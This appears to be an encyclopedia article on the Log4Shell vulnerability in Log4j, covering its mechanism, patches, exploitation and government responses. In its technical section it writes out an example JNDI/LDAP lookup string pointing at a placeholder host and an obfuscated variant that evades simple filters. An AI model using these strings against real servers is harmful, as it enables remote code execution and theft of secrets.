| CVE identifier | CVE-2021-44228 |
|---|---|
| Date discovered | 24 November 2021; 4 years ago (2021-11-24) |
| Date patched | 9 December 2021; 4 years ago (2021-12-09) |
| Discoverer | Chen Zhaojun of theAlibaba Cloud Security Team[1] |
| Affected software | Applications logging user input usingLog4j 2 |
Log4Shell (CVE-2021-44228) is avulnerability reported in November 2021 inLog4j, a popularJava logging framework, involvingarbitrary code execution and exploited as azero-day vulnerability.[2][3] The vulnerability had existed unnoticed since 2013 and was privately disclosed tothe Apache Software Foundation, of which Log4j is a project, by Chen Zhaojun ofAlibaba Cloud's security team on 24 November 2021.[4]
Before an official CVE identifier was made available on 10 December 2021, the vulnerability circulated with the name "Log4Shell", given by Free Wortley of the LunaSec team, which was initially used to track the issue online.[2][1][5][6][7] Apache gave Log4Shell aCVSS severity rating of 10, the highest available score.[8] The exploit was simple to execute and is estimated to have had the potential to affect hundreds of millions of devices.[7][9]
The vulnerability takes advantage of Log4j allowing requests to arbitraryLDAP andJNDI servers,[2][10][11] allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information.[6] A list of affected software projects has been published by theApache Security Team.[12] Affected commercial services includeAmazon Web Services,[13]Cloudflare,iCloud,[14]Minecraft: Java Edition,[15]Steam,Tencent QQ and many others.[10][16][17] According toWiz andEY, the vulnerability affected 93% of enterprise cloud environments.[18]
The vulnerability's disclosure received strong reactions from cybersecurity experts. Cybersecurity companyTenable said the exploit was "the single biggest, most critical vulnerability ever,"[19]Ars Technica called it "arguably the most severe vulnerability ever"[20] andThe Washington Post said that descriptions by security professionals "border on the apocalyptic."[9]
Log4j is anopen-source logging framework that allowssoftware developers tolog data within their applications, and can include user input.[21] It is used ubiquitously in Java applications, especially enterprise software.[6] Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of theApache Software Foundation.[22] Tom Kellermann, a member ofPresident Obama's Commission on Cyber Security, described Apache as "one of the giant supports of a bridge that facilitates the connective tissue between the worlds of applications and computer environments".[23]
TheJava Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can use several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is theLightweight Directory Access Protocol (LDAP), a non-Java-specific protocol[24] which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.[25]
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form${prefix:name}.[25] For example,Text: ${java:version} might be converted toText: Java version 1.7.0_67.[26] Among the recognized expressions is${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data.${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL.[25] Even if execution of the data is disabled, an attacker can still retrieve data—such as secretenvironment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker's server.[27][28] Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS,Java Remote Method Invocation (RMI), theDomain Name System (DNS), and theInternet Inter-ORB Protocol (IIOP).[29][30]
BecauseHTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP requestURL or a commonly loggedHTTP header, such asUser-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as${jndi.[31] Such basic string matching solutions can be circumvented by obfuscating the request:${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letterj.[32] Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.[25]
Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1.[33][34][35] The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.[36][37] Two more vulnerabilities in the library were found: adenial-of-service attack, tracked as CVE-2021-45105 and fixed in 2.17.0; and a difficult-to-exploitremote code execution vulnerability, tracked as CVE-2021-44832 and fixed in 2.17.1.[38][39] For previous versions, the classorg.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from theclasspath to mitigate both vulnerabilities.[8][36] An early recommended fix for older versions was to set the system propertylog4j2.formatMsgNoLookups totrue, but this change does not prevent exploitation of CVE-2021-45046 and was later found to not disable message lookups in certain cases.[8][36]
Newer versions of theJava Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.[2][27][40][41] Several methods and tools have been published that help detect vulnerable Log4j versions used in built Java packages.[42]
Where applying updated versions has not been possible, due to a variety of constraints such as lack of resources or third-party managed solutions, filtering outbound network traffic from vulnerable deployments has been the primary recourse for many.[43] The approach is recommended byNCC Group[44] and theNational Cyber Security Centre (United Kingdom),[45] and is an example of adefense in depth measure. The effectiveness of such filtering is evidenced[46] by laboratory experiments conducted with firewalls capable of intercepting the egress traffic with several wholly or partially vulnerable versions of the library itself and theJRE.
The exploit allows hackers to gain control of vulnerable devices using Java.[7] Some hackers employ the vulnerability to use victims' devices forcryptocurrency mining, creatingbotnets, sending spam, establishingbackdoors and other illegal activities such asransomware attacks.[7][9][47] In the days following the vulnerability's disclosure,Check Point observed millions of attacks being initiated by hackers, with some researchers observing a rate of over one hundred attacks per minute that ultimately resulted with attempted attacks on over 40% of business networks internationally.[7][23]
According toCloudflare CEOMatthew Prince, evidence of exploitation or of scanning for the exploit goes back as early as 1 December, nine days before it was publicly disclosed.[48] According to cybersecurity firm GreyNoise, severalIP addresses werescraping websites to check for servers that had the vulnerability.[49] Severalbotnets began scanning for the vulnerability, including theMuhstik botnet by 10 December, as well asMirai and Tsunami.[7][48][50] Ransomware groupConti was observed using the vulnerability on 17 December.[9]
Some state-sponsored groups in China and Iran also utilized the exploit according to Check Point, but it is not known if the exploit was used by Israel, Russia or the United States prior to the disclosure of the vulnerability.[9][19] Check Point said that on 15 December 2021, Iran-backed hackers attempted to infiltrate the networks of Israeli businesses and government institutions.[9]
In the United States, the director of theCybersecurity and Infrastructure Security Agency (CISA),Jen Easterly, described the exploit as "one of the most serious I've seen in my entire career, if not the most serious", explaining that hundreds of millions of devices were affected and advising vendors to prioritize software updates.[7][51][47] Civilian agencies contracted by the United States government had until 24 December 2021 to patch vulnerabilities.[9] On 4 January, theFederal Trade Commission (FTC) stated its intent to pursue companies that fail to take reasonable steps to update used Log4j software.[52] In a White House meeting, the importance of security maintenance of open-source software – often also carried out largely by few volunteers – to national security was clarified. While some open-source projects havemany eyes on them, others do not have many or any people ensuring their security.[53][54]
Germany'sBundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at the agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess.[55][56] The Netherlands'sNational Cyber Security Centre (NCSC) began an ongoing list of vulnerable applications.[57][58]
TheCanadian Centre for Cyber Security (CCCS) called on organizations to take immediate action.[59] TheCanada Revenue Agency temporarily shut down its online services after learning of the exploit, while theGovernment of Quebec closed almost 4,000 of its websites as a "preventative measure."[60] TheBelgian Ministry of Defence experienced a breach attempt and was forced to shut down part of its network.[61]
The ChineseMinistry of Industry and Information Technology suspended work with Alibaba Cloud as a cybersecurity threat intelligence partner for six months for failing to report the vulnerability to the government first.[62]
Research conducted byWiz andEY[18] showed that 93% of the cloud enterprise environment were vulnerable to Log4Shell. 7% of vulnerable workloads are exposed to the Internet and prone to wide exploitation attempts. According to the research, ten days after vulnerability disclosure (20 December 2021) only 45% of vulnerable workloads were patched on average in cloud environments. Amazon, Google and Microsoft cloud data was affected by Log4Shell.[9] Microsoft asked Windows and Azure customers to remain vigilant after observing state-sponsored and cyber-criminal attackers probing systems for the Log4j 'Log4Shell' flaw through December 2021.[63]
Thehuman resource management andworkforce management companyUKG, one of the largest businesses in the industry, was targeted by aransomware attack that affected large businesses.[20][64] UKG said it did not have evidence of Log4Shell being exploited in the incident, though analyst Allan Liska from cybersecurity companyRecorded Future said there was possibly a connection.[64]
As larger companies began to release patches for the exploit, the risk for small businesses increased as hackers focused on more vulnerable targets.[47]
Some personal devices connected to the Internet, such assmart TVs and security cameras, were vulnerable to the exploit. Some software may never get a patch due to discontinued manufacturer support.[9]
As of 14 December 2021,[update] almost half of all corporate networks globally had been actively probed, with over 60 variants of the exploit having been produced within 24 hours.[65]Check Point Software Technologies described the situation as being "a true cyber-pandemic" and characterized the potential for damage as "incalculable".[66] Several initial advisories exaggerated the amount of packages that were vulnerable, leading to false positives. Most notably, the "log4j-api" package was marked as vulnerable, while in reality further research showed that only the main "log4j-core" package was vulnerable. This was confirmed both in the original issue thread[67] and by external security researchers.[68]
Technology magazineWired wrote that despite the previous "hype" surrounding multiple vulnerabilities, "the Log4j vulnerability ... lives up to the hype for a host of reasons".[19] The magazine explains that the pervasiveness of Log4j, the vulnerability being difficult to detect by potential targets and the ease of transmitting code to victims created a "combination of severity, simplicity, and pervasiveness that has the security community rattled".[19]Wired also outlined stages of hackers using Log4Shell; cryptomining groups first using the vulnerability,data brokers then selling a "foothold" to cybercriminals, who finally go on to engage in ransomware attacks,espionage and destroying data.[19]
Amit Yoran, CEO ofTenable and the founding director of theUnited States Computer Emergency Readiness Team, stated "[Log4Shell] is by far the single biggest, most critical vulnerability ever", noting that sophisticated attacks were beginning shortly after the bug, saying "We're also already seeing it leveraged for ransomware attacks, which, again, should be a major alarm bell ... We've also seen reports of attackers using Log4Shell to destroy systems without even looking to collect ransom, a fairly unusual behavior".[19]Sophos's senior threat researcher Sean Gallagher said, "Honestly, the biggest threat here is that people have already gotten access and are just sitting on it, and even if you remediate the problem somebody's already in the network ... It's going to be around as long as the Internet."[19]
According to aBloomberg News report, some anger was directed at Apache's developers at their failure to fix the vulnerability after warnings about exploits of broad classes of software, including Log4j, were made at a 2016 cybersecurity conference.[69]
Apache issued a patch for CVE-2021-44228, version 2.15, on December 6. However, this patch left part of the vulnerability unfixed, resulting in CVE-2021-45046 and a second patch, version 2.16, released on December 13. Apache released a third patch, version 2.17, on December 17 to fix another related vulnerability, CVE-2021-45105.
{{cite web}}: CS1 maint: bot: original URL status unknown (link)